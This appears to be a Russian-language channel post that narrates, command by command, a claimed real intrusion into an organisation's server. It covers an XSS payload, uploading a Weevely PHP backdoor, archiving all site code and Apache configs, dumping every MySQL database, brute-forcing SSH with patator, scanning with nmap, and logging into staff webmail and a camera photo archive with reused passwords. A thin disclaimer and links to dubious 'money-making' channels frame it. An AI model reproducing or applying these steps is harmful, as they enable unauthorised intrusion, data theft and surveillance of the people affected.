Взлом сайта

Привет, дорогой друг. На связи Gambino. Сегодня я расскажу про один из самый простых способов как взломать сайт.

Данная статья была написана не администрацией настоящего канала и не призывает к каким-либо противоправным действиям, а изложена исключительно в ознакомительных и развлекательных целях. А также в целях защиты читателей от мошенничества и других противоправных действий.

И так, взлом сайтов - один из самых распространенных видов кибер-преступлений. Причина проста: у сайтов существует огромное количество уязвимостей и эксплойтов для них. Наиболее частой целью взлома является размещение на нем вредоносного кода, с помощью которого можно будет заразить его посетителей. Взлом сайта часто проводят с целью кражи конфиденциальных данных, например, базы клиентов сайта. Нередко целью заказного взлома служит вывод веб-сайта из строя, фактическое уничтожение его содержимого. Но иногда сайты взламывают их хулиганских побуждений: заменяют содержимое страницы, или разместить свой “шуточный” контент на сайте.

1. Поиск уязвимостей в веб-приложении.

Сайт представлял собой написанное с нуля веб-приложение. Для использования функций требуется ввести логин и пароль, но предусмотрен гостевой вход, поэтому на сайте прямо на главной странице написаны гостевые учётные данные для входа.

Выполняемые действия сохраняются в Истории. У действия есть заголовок и определённый текст. Оказалось, что хранимые поля не фильтруются на специальные символы и слова, поэтому быстро удалось найти и подтвердить уязвимость XSS — то есть кода в поле вводишь что-нибудь вроде

<script>alert(1)</script>

а на странице сайта (в данном случае в История) показывает всплывающее окно JavaScript.

С помощью такой уязвимости можно, например, похитить кукиз других пользователей. Но проблема в том, что, видимо, История, у каждого пользователя своя. То есть максимум, что я могу сделать в этой ситуации, это захватить кукиз пользователей с точно такими же правами как у меня — то есть только у пользователей, выполнивших вход под гостевой учётной записью. Возможно, админу доступен список Истории всех пользователей — но не факт. Плюс надо ещё придумать, как спровоцировать его зайти в Историю — а то может получиться так, что в следующий раз он туда зайдёт через год, или через два, или никогда.

Поскольку видно, что специальные символы не фильтруются, а данные, скорее всего, хранятся в базе данных, то это может означать, что должна присутствовать уязвимость SQL-инъекция, которая позволяет получить базу данных сайта. Но я не успел это проверить — обнаружилась намного более лёгкая уязвимость — небезопасная выгрузка файлов.

Суть в том, что если я запускал новое действие, то мне для ввода были доступны несколько полей — в них я и обнаружил XSS и мог обнаружить SQL-инъекцию. Но при открытии сохранённого действия из Истории, на странице появлялось ещё одно поле — для загрузки файла!!!

У меня появилась умеренная радость: с одной стороны, на множество сайтов можно загружать файлы, но благодаря ограничению на расширения загружаемых файлов, а также способу доступа к ним, практически невозможно загрузить код, который можно выполнить на сервере. Но безалаберность с фильтрацией данных в текстовых полях вселяла некоторую надежду.

Я создал файл

<?php

phpinfo();

И загрузил его на сервер. Сервер показал мне ссылку на этот файл. То есть файл загрузился! Я перешёл по ссылке и вместо того, чтобы скачаться, либо чтобы показать содержимое — файл был выполнен, то есть я увидел ту информацию, которую показывает функция phpinfo().

В чём ошибки программиста:

Такой безалаберный стиль программирования нельзя совмещать с публичной учётной записью. То есть если бы на главной странице не были написаны учётные данные для входа, то поиск и эксплуатация этих уязвимостей сильно бы затянулись.

И более главное: при написании кода всегда нужно фильтровать данные и ограничивать файлы, которые можно загружать на сервер. Даже если вы программируете «для себя» и держите файлы на локальном сервере у себя на компьютере, всё равно может случиться неприятность — кто-то может подключиться к вашему веб-серверу по локальной сети (при использовании публичным Интернетом), или ваш компьютер может быть доступен напрямую по белому IP. Очевидно, что для публичного сайта код должен писаться с постоянной мыслью о безопасности.

2. Загрузка бэкдора.

начале я хотел воспользоваться самым простым вариантом — c99unlimited.php. Это шелл в фиде файлового менеджера и в нём удобно бродить по каталогам и скачивать файлы. Но у меня он не заработал — выдал ошибку 500. Видимо, у сервера с ним какая-то несовместимость.

Это абсолютно не проблема, разнообразных шеллов в Webshells очень много — можно долго сидеть и выбирать тот, который понравится, но я решил воспользоваться ещё более любимым Weevely. У меня к этому инструменту ещё более чувства )))) Хотя у него интерфейс командной строки — так мне нравится даже больше.

Создаём новый бэкдор (да, пароль просто цифра 1):

weevely generate 1 test.php

Заливаем его на сервер.

И подключаемся к нему:

weevely https://site.ru/upload/8579.php 1

3. Осматриваемся на сервере из бэкдора.

После подключения, Weevely показал, что я нахожусь в папке /var/www/XX1/tmp.

Можно дополнительно в этом убедиться:

pwd

/var/www/XX1/tmp

Посмотрим, какие у меня права на эту папку:

ls -dl

Вывод:

drwxrwxrwx 2 XX1 root 4096 Apr 21 14:16

Из этой информации следует, что владельцем папки является пользователей XX1. Но права на запись есть вообще у всех.

Кстати, а кто там я?

whoami

Вывод:

www-data

Я работаю от пользователя www-data.

4. Как скачать исходный код сайтов с сервера.

Ах да, зачем я вдруг кинулся искать папку с правом на запись? Дело в том, что мне надо скачать файлы с исходным кодом — для дальнейшего анализа «в спокойной обстановке». Этих файлов много и скачивать их все по одному займёт много времени. Поэтому у меня план такой — запаковать все файлы в архив, а архив скачать.

Само собой, можно воспользоваться услугами папки /tmp, которая всегда открыта на запись для всех желающих. Но из папки /tmp я могу скачать только с помощью Weevely. Но если мне удастся сохранить архив в папку веб-сервера, то я могу скачать его прямо из веб-браузера или любой файловой качалкой. Это особенно актуально, если файл очень большой — может пригодиться докачка файла после разрыва соединения, что в командной строке с Weevely сделать не получится.

Понятно, что если мы в папке /var/www/XX1/tmp, то папкой веб-сервера является /var/www/. Посмотрим что там в ней:

ls -l /var/www/

А в ней папки других сайтов — в общей сложности 14 штук, но показать их я уже не могу.

Смотрим в шпаргалку, чтобы сохранить файлы в архив командой zip дополнительно нужно использовать опцию -r для рекурсивного добавления всего, что находится в папках, запускается следующим образом:

zip -r имя_нового_архива.zip каталог_для_архивации

Каталогом для архивации является /var/www/, архив я пока сохраню в директорию /tmp (а не в папку с сайтами, так как получится, что мы попытаемся сохранить архив в папке, которая добавляется в этот архив — возможно, это вызовет ошибку).

Запускаем команду:

zip -r /tmp/archive.zip /var/www/

На что мне возвращается сообщение:

sh: 1: zip: not found

Чёрт, на этом сервере не установлена программа zip. Можно воспользоваться встроенным эмулятором архивирования Weevely, но попробую ещё другую программу:

tar czf /tmp/archive.tgz /var/www/

А вот программа tar оказалась на сервере. Внутренние команды означают:

• c — создать архив
• z — алгоритм сжатия
• f — после этой опции указывается путь до архива и имя файла

Переносим архив в папку веб-сервера, где он теперь доступен для скачивания даже с помощью браузера:

mv /tmp/archive.tgz /var/www/XX1/tmp

Чтобы узнать размер всех подпапок в папке /var/www/:

du -sh /var/www/*

Если нужно скачать только некоторые папки, то это делается командой вида:

tar czf архив.tgz папка_в_архив_1 папка_в_архив_2 папка_в_архив_3 папка_в_архив_4

5. Как узнать, какие сайты работают на сервере.

Исходный код — это очень ценный трофей и он нам ещё во многом поможет. Но, как я уже сказал, на этом сервере много папок с сайтами — то есть и сайтов здесь много.

Список всех загруженных настроек и обработанных виртуальных хостов можно узнать опцией -S. А с помощью -t -D DUMP_INCLUDES можно увидеть все используемые файлы конфигурации. Правда есть проблема — исполнимый файл веб-сервера может называться или httpd, или apache2 в зависимости от системы. На производных Debian файл будет называться apache2. А на производных Arch Linux — httpd. В принципе, проблемы никакой нет попробовать обе команды и посмотреть, какая из них сработает:

httpd -S

httpd -t -D DUMP_INCLUDES

И:

apache2 -S

apache2 -t -D DUMP_INCLUDES

Как я уже сказал, в нормальных условиях эти опции должны показывать все конфигурационные файлы и все виртуальные хосты. Но, видимо, тот горе программист, который писал код для сайта, ещё взялся и за настройку веб-сервера — у меня вместо ожидаемой информации только выводится сообщение об ошибке в одном из конфигурационных файлов — не хватает SSL сертификата. Кстати, ведь это означает, что при перезапуске компьютера или только веб-сервера, — Apache, по идее, не запустится, так как это (вроде) фатальная ошибка.

Ладно, проверим вручную. Если бинарный файл называется apache2, значит конфигурационные файлы хранятся в /etc/apache2/.

Главным конфигурационным файлом Apache является /etc/apache2/apache2.conf.

В папке /etc/apache2/conf-available собраны другие конфигурационные файлы, а в папке /etc/apache2/conf-enabled можно узнать, какие из них подключены.

В папке /etc/apache2/mods-enabled можно посмотреть, какие модули Apache включены.

В папке /etc/apache2/sites-available можно узнать, настройки для каких сайтов предусмотрены, а в папке /etc/apache2/sites-enabled — какие из них активны в данный момент.

К сожалению, не могу вам показать содержимое, могу только сказать, в sites-available оказалось 18 конфигурационных файлов. В этих файлах для каждого сайта как минимум 2 обязательных директивы:

• ServerName — здесь имя хоста, фактически, домен сайта (иногда субдомен)
• DocumentRoot — путь до файлов на этом сервере для данного хоста

С помощью этой техники можно узнать, какие другие сайты хостит этот сервер, и где на сервере находится исходный код каждого из них.

Да чё уж там, берём всё, «дома разберёмся»:

tar czf /var/www/XX1/upload/apache_archive.tgz /etc/apache2/

6. Взлом MySQL.

Если у нас есть доступ к файловой системе, то получение пароля от MySQL это дело техники.

Описанным выше способом (анализ виртуальных хостов и просмотр содержимого папок сайтов) находим адрес phpMyAdmin. Но phpMyAdmin может и отсутствовать — ничего страшного, можно работать с базой данных через консоль.

Самое главное, это проанализировать исходный код сайтов и найти там учётные данные. Чтобы упростить эту задачу, можно искать по содержимому файлов, особое внимание следует обратить таким строкам как:

• date_default_timezone_set
• mysqli_connect
• mysqli_query
• mysql_connect
• mysql_query

А также файлам с говорящими названиями, например, connectdb.php.

Weevely имеет команду для подключения к MySQL из командной строки:

:sql_console -user ПОЛЬЗОВАТЕЛЬ -passwd ПАРОЛЬ -host localhost

Либо если MySQL разрешает удалённые подключения, можно подсоединиться к хосту напрямую:

mysql -u ПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ -h IP_СЕРВЕРА

Там внутри можно посмотреть базы данных:

show databases;

Там же можно посмотреть таблицы в базе данных и содержимое таблиц.

Если нужно сделать дамп всех баз данных для скачивания, то это делается командой:

mysqldump -u ПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ --all-databases > all-databases.sql

Между опцией -p и ПАРОЛЕМ нет пробела — иначе появляется ошибка.

7. Анализ добытых паролей.

База данных раскрыла много интересной информации. Но самая интересная — это список пользователей с паролями.

У нас есть имена пользователей и пароли (а также email'ы и другая типичная для профилей информация). Пароль администратора для входа на сервис точно такой же, как и пароль пользователя root от MySQL. Напомню, если вы запутались: пароль от MySQL мы нашли в исходном коде файлов сайта, а пароль админа сервиса (сайта) мы нашли в базе данных. Хотя они оказались одинаковыми.

Это важно — пользователь имеет тенденцию использовать одинаковые пароли — это отдельная уязвимость, между прочим.

Но ещё интереснее анализ всех паролей пользователей — почти все они шестизначные числа! Видимо, учётные данные генерировал и выдавал администратор. У администратора склонность создавать однотипные пароли — учтём это. То есть если придётся брут-форсить службы на этом сервисе (а нам придётся), то я уже знаю, каким будет словарь — это будет полный список чисел из шести цифр. Ну и вообще — если пароли одинаковые, то есть смысл поискать другие службы — вдруг туда тоже подойдут уже имеющиеся у нас логины и пароли.

8. Промежуточный итог.

Итак: сервер скомпрометирован через уязвимое веб-приложение.

Уже на данном этапе:

• Получен доступ в файловую систему
• Получен доступ к исходному коду сайта
• Есть возможность редактировать файлы веб-сайтов
• Получен пароль от СУБД, получен доступ к базам данных, есть возможность редактировать базы данных
• Получены пароли пользователей от сервисов
• Анализ паролей выявил в них явную закономерность
• Найдены другие сайты и получен их исходный код

Можно уже сейчас составлять отчёт для владельца-заказчика и завязывать с этой оценкой безопасности.

Краткое содержание отчёта: всё плохо.

9. Камеры.

Без камер сейчас никуда: в комнате отдыха воруют печеньки, на рабочих местах работники не работают, в туалетах промахиваются мимо писсуара… Эта организация тоже не исключение. Я не просто так в первой части показал, как проверять размер папок и как выборочно архивировать папки веб-сервера. Два хоста оказались хранилищем фотографий на десятки гигабайт. Там всё пристойно, единственное что, камеры со встроенным датчиком движения, поэтому запись происходит только когда в комнате кто-то есть. Одна из камер установлена в комнате отдыха — там где чаёк, еда, телевизор. Так вот, если на ускоренном темпе просматривать эти фотографии (получается как видео), то создаётся сюрреалистическое впечатление, что люди в этой организации без конца жрут… День проходит так: восходит солнышко, заходят первые люди и начинают пить кофе, затем начинают есть, затем они уходят и начинают есть другие, затем приходят ещё больше людей и тоже начинают есть, потом эти уходят и приходят другие со своей едой и опять едят, и это повторяется и повторяется пока не наступит закат… Затем следующий день — точно такой, люди едят-едят-едят и вот такого почти на 100 Гигабайт…

Причём веб-интерфейс со слабым паролем для просмотра всего этого «добра» расположен на поддомене сайта, доступного из Глобальной сети.

10. Поиск слабых настроек сервера.

Итак, из веб-сайтов мы уже вытрясли всё, что только можно, - исходный код, базы данных, пароли пользователей.

Теперь давайте осмотримся на самом сервере — к чему у нас есть доступ, какие настройки являются слабыми, какую информацию мы можем получить о системе, пользователях, запущенных службах.

Всё это можно делать вручную запуская утилиты в командной строке или воспользоваться одной из программ автоматизации. Например, я применю LinEnum.

Скачиваем её:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Запускаем:

bash LinEnum.sh

И ждём результатов.

Информации много. Информацию о системе и ядре можно использовать для поиска эксплойтов, которые выполняют эскалацию привилегий — повышение прав.

Получена информация о пользователях (имя, IP, дата последнего входа), выполнявших вход в систему, — их имена можно использовать для брут-форса (подбора пароля методом перебора) SSH. Причём у одного из пользователей локальный адрес 10.*.*.* - это даёт нам подсказку о структуре локальной сети.

Показано, кто из пользователей является администратором, а также аккаунты, кто недавно использовал sudo (то есть у кого есть право выполнять команды с повышенными привилегиями — такие аккаунты представляют первостепенный интерес).

Собрана информация о сетевых интерфейсах, показан локальный IP — можно выполнить сканирование сети в поисках других подключённых устройств.

Показаны прослушиваемые порты (те, к которым можно подключиться) — их много. Их стоит проверить, так как там могут быть интересные службы.

Информация о запущенных процессах говорит о том, что работает почтовый сервер, прокси, DNS сервер, служба IP камер.

Собраны номера версий популярных служб — на случай, если мы будем искать эксплойты.

Среди интересных файлов внезапно обнаружился nmap — можно сканировать хост прямо с самого себя — это даст супер быстрые результаты.

11. Брут-форс SSH и FTP.

На сервере были найдены два пользователя с правами администратора, root и ещё один, имя которого привести не могу.

Анализ исходного кода веб-интерфейсов для просмотра сохранённых с камер фотографий дал ещё один пароль — тоже из шести цифр. Я обратил внимание, что владельцем папок веб-сервера, где расположены фотографии, является не Apache (не www-data), а разные пользователи. Оказалось, что для них предусмотрены учётные данные FTP, а также для под ними можно входить по SSH, причём в обоих случаях подходит пароль администратора, который подходит и для root MySQL, и для сервиса на сайте. К сожалению, у этих пользователей нет прав на выполнение команд с sudo. То есть у меня и так уже есть доступ к тому, к чему у них есть доступ (разве что, под этими пользователями можно редактировать файлы сайтов).

Но, что самое печальное, что этот самый пароль администратора не подходит к пользователю системы Linux, также не подходит к учётной записи root. Если честно, я сначала даже удивился — ко всему подходит, а к этому не подходит… Видимо, пароли для этих пользователей придумывали на аутсорсе…

Будем исходить из того, что пароль всё-таки из шести цифр. Тогда сгенерируем его с помощью maskprocessor:

maskprocessor ?d?d?d?d?d?d > dig.pass

Для брутфорса я предпочитаю patator.

Я хотел запустить подбор пароля прямо с самого сервера. Python там оказался установленным, но не оказалось paramiko, поэтому я получил ошибку:

ERROR: paramiko 1.7.7.1 (http://www.paramiko.org/) is required to run ssh_login.

В результате запустил брут-форс по старинке:

patator ssh_login host=IP user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'

У меня уже не было цели во что бы то ни стало добыть пароль — уже доказано, что сервер небезопасен. Поэтому я не брутфорсил 24/7, запускал иногда перебор, когда вспоминал про это. Дней через 10 вдруг перебор застопорился:

ssh: connect to host IP port 22: Connection refused

Я сначала подумал, что забанили IP, откуда присылались запросы. Но это не подвердилось.

Как оказалось, на сервер был выполнен вход под учётной записью root и был изменён файл /etc/ssh/sshd_config. Не знаю, это связано с моей деятельностью или просто админ решил «докрутить безопасность». Я заглянул в файл настроек SSH:

cat /etc/ssh/sshd_config

Главное, в чём была докрутка, это вот такая директива:

Port 40022

То есть вместо порта 22 теперь SSH сервер работает на порте 40022 — видимо, чтобы никто не догадался.

Для решения этой проблемы в patator нужно указать нестандартный порт:

patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.'

Если перебор не доведён до конца, то при завершении работы patator выведет что-то вроде:

08:56:40 patator INFO - To resume execution, pass --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588

Если вы хотите продолжить с того места, где была сделана остановка, то при последующем запуске patator добавьте эту строку к команде, получится примерно так:

patator ssh_login host=IP port=40022 user=root password=FILE0 0=dig.pass -x ignore:mesg='Authentication failed.' --resume 3591,3577,3564,3592,3572,3588,3588,3568,3584,3588

Удачный подбор пароля от Linux пользователя root или от пользователя, у которого есть права на выполнение команд с sudo, означает самую полную компрометацию сервера — полный взлом. Взломать сильнее уже невозможно — становятся доступными любые настройки, любые файлы, любые действия на сервере.

12. Взлом почты.

Как я уже сказал, на сервере оказалась установленной программа nmap, поэтому я решил изучить локальную сеть сервера.

Посмотрел локальный IP:

ip a

Запустил сканирование, но ничего не нашёл:

nmap -sn 192.168.144.0/24

Трассировка:

tracepath -n ya.ru

показала, что сервер напрямую подключён к провайдеру — что, в общем-то, и так должно было быть очевидным — это же сервер, у них у всех внешний IP.

Я просканировав порты:

nmap localhost -p-

и увидел там много интересного.

В результате я решил собрать банеры служб:

map localhost -p- -sV --script=banner

Среди прочего там была информация Kerio Connect 9.2.1 и open ssl/http Kerio MailServer http config. Как я нагуглил — это почтовый сервис.

Упоминания о почтовом сервисе я уже видел в информации на одном из хостов (субдоменов) — там было написано, что почта теперь переехала на Yandex, поэтому я как-то быстро про это забыл.

Но оказалось, что если в браузере ввести IP с правильным номером порта, то открывается форма входа на почту организации. Я попробовал несколько учётных записей (имя пользователя и пароль) из тех, которые были в базе данных — многие подошли.

В том числе подошёл тот самый админский пароль от почты администратора.

Почта использовалась нескольких лет, но заброшена уже на протяжении почти года.

Важность взлома почты вряд ли нужно объяснять — накопленная годами информация, данные о сотрудниках (это в дополнении к их фотографиям, которые были добыты чуть ране), возможности для социальной инженерии — поэтому в этом месте я подумал что уже, пожалуй, хватит с этого сервера.

Заключение.

Вы можете подумать, что этот рассказ — это просто перечисление всех самых детских и самых нелепых ошибок, которые только могут допустить начинающие школьник-программист и администратор. Мол в реальной-то жизни такого не бывает. Бывает… Это абсолютно реальный разбор, реального сервера.

К сожалению, не могу даже в общих чертах сказать о контексте этого случая. Но факт в том, что организация, которой принадлежит этот сервер, находится в Москве и у неё не без оснований на стене висит большой триколор.

Вы можете обратить внимание, что я по минимуму использовал специализированные утилиты. Почти все «взломы» заключались в том, что я знал где и что нужно смотреть и просто это смотрел. Поэтому обучение аудиту безопасности сайтов (взлому сайтов), заключается не только в изучении специализированных утилит. В первую очередь нужно понимание происходящих процессов. Если мы говорим о сайтах, то должно быть понимание, как они функционируют. Я не могу себе представить, как можно делать тест на проникновение сайта, если нет умений по программированию на PHP и хоть какого-то опыта в создании сайтов и веб приложений (CMS, движков и прочего). Если пентестинг продолжается на сервере, то тут просто нечего делать без таких мирных профессиональных навыков как:

• понимание работы сервера, умение его настраивать
• понимание ОС Linux, её внутренного устройства
• умение работать в командной строке и знание хотя бы самых ходовых команд (утилит) Linux

Богатый крабс - Заработок без риска присесть на бутылку

CashSpace - кеш и спайс

Крутой заработок - рубим лавандос не вставая с дивана

Еще больше статей и схем заработка на канале SHADOW MONEY